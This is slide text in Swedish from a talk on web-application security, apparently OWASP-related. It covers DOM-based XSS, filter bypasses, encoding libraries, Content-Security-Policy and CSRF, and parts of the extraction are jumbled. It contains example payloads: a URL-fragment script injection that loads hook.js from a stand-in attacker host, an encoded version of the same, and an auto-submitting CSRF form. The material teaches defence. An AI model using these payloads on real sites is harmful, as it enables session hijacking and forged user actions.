10. Cross-Site Scripting
Type 0, DOM-baserad
ng
i pti
Scr
Cros
Inget anrop till servern!
s-Sit
e
Single-page-appar gör att
injicerade skript ”hänger
Ph
isini DOM:en.
kvar” g
13. Skulle du klicka på …
https://secure.example.com/authentication
#language=<script src="http://attackr.se:3000/
hook.js"></script>&country=SE
14. Skulle du klicka på …
https://secure.example.com/authentication
#language=%3Cscript%20src%3D%22http%3A%2F
%2Fattackr.se%3A3000%2Fhook.js%22%3E%3C
%2Fscript%3E&country=SE
16. Filtrera bort <script>?
var ... ,
stripScriptsRe = /(?:<script.*?>)((n|r|.)*?)(?:</script>)/ig,
/**
* Strips all script tags
* @param {Object} value The text from which to strip script tags
* @return {String} The stripped text
*/
stripScripts : function(v) {
return !v ? v : String(v).replace(stripScriptsRe, "");
},
http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts
27. The Patch™
var c = location.href.split("#!")[1];
if (c) {
window.location = c.replace(":", "");
} else {
return true;
}
28. The Patch™
var c = location.href.split("#!")[1];
if (c) {
window.location = c.replace(":", "");
} else {
return true;
}
Ersätter första träffen
för sökkriteriet
38. The n:th Patch™
(den här funkar)
(function(g){
var a = location.href.split("#!")[1];
if(a) {
g.location.pathname = a;
}
})(window);
Notera att Twitter faktiskt gör rätt: https://twitter.com/about/security
39. Lös sådana här problem på rätt sätt med
Client-Side Encoding
40. https://github.com/chrisisbeef/jquery-encoder
• $.encoder.canonicalize()
Throws Error for double encoding or multiple encoding
types, otherwise transforms %3CB%3E to <b>
• $.encoder.encodeForCSS()
Encodes for safe usage in style attribute and style()
• $.encoder.encodeForHTML()
Encodes for safe usage in innerHTML and html()
• $.encoder.encodeForHTMLAttribute()
Encodes for safe usage in HTML attributes
• $.encoder.encodeForJavaScript()
Encodes for safe usage in event handlers etc
• $.encoder.encodeForURL()
Encodes for safe usage in href etc
41. https://github.com/chrisisbeef/jquery-encoder
• $.encoder.canonicalize()
Throws Error for double encoding or multiple encoding
types, otherwise transforms %3CB%3E to <b>
• $.encoder.encodeForCSS()
Encodes for safe usage in style attribute and style()
• $.encoder.encodeForHTML()
Encodes for safe usage in innerHTML and html()
• $.encoder.encodeForHTMLAttribute()
Encodes for safe usage in HTML attributes
• $.encoder.encodeForJavaScript()
Encodes for safe usage in event handlers etc
• $.encoder.encodeForURL()
Encodes for safe usage in href etc
44. Ny HTTP svars-header
som säger ...
Tillåt bara skript från godkända domäner
och
tillåt bara skript från filer, dvs inga inline-skript
45. 'self' = samma URL, protokoll och port
Content-Security-Policy: default-src 'self'
Ladda bara skript, plugins, css, bilder, ljud/video, frames, typsnitt och
data från den egna domänen
Content-Security-Policy: default-src 'self';
img-src *; script-src trusted.com
Acceptera bilder från valfri domän, skript från trusted.com,
resterande bara från den egna domänen
50. Får www.attackr.se ladda bilder så här:
<img src=”https://secure.example.com/
authentication#language=sv&country=SE" />
?
51. Med img-element så kan www.attackr.se
tyst skicka HTTP GET till valfri domän
<img src=”https://secure.example.com/
authentication#language=sv&country=SE"
height=0 width=0 />
57. What’s on your mind? What’s on your mind?
POST I hate OWASP! POST
58. What’s on your mind? What’s on your mind?
POST I hate OWASP! POST
59. What’s on your mind? What’s on your mind?
POST I hate OWASP! POST
John: I hate OWASP!
60. What’s on your mind? Look at the lol cat!
POST <form id="target" method="POST"
action="https://1-liner.org/form">
John: I hate OWASP! <input type="text" value="I hate
OWASP!" name="oneLiner"/>
<input type="submit"
value="POST"/>
</form>
<script type="text/javascript">
$(document).ready(function() {
$('#form').submit();
});
</script>
61. <form id="target" method="POST"
action="https://1-liner.org/form">
<input type="text" value="I hate
OWASP!" name="oneLiner"/>
<input type="submit"
What’s on your mind? What’s on your mind?
value="POST"/>
POST
</form>
John: I hate OWASP!
<script>
$(document).ready(function() {
$('#target').submit();
});
</script>
73. Intresserad?
• Gå med i ditt lokala OWASP-chapter
https://www.owasp.org/index.php/OWASP_Chapter
• Börja följa de @0x6D6172696F @garethheyes
@WisecWisec
här personerna på Twitter:
@securityninja @jeremiahg @kkotowicz
@webtonull @manicode @securityshell
• Börja hacka själv – det är kul!
Bästa stället att börja? Dina sajter såklart.
Håll det lagligt bara ;)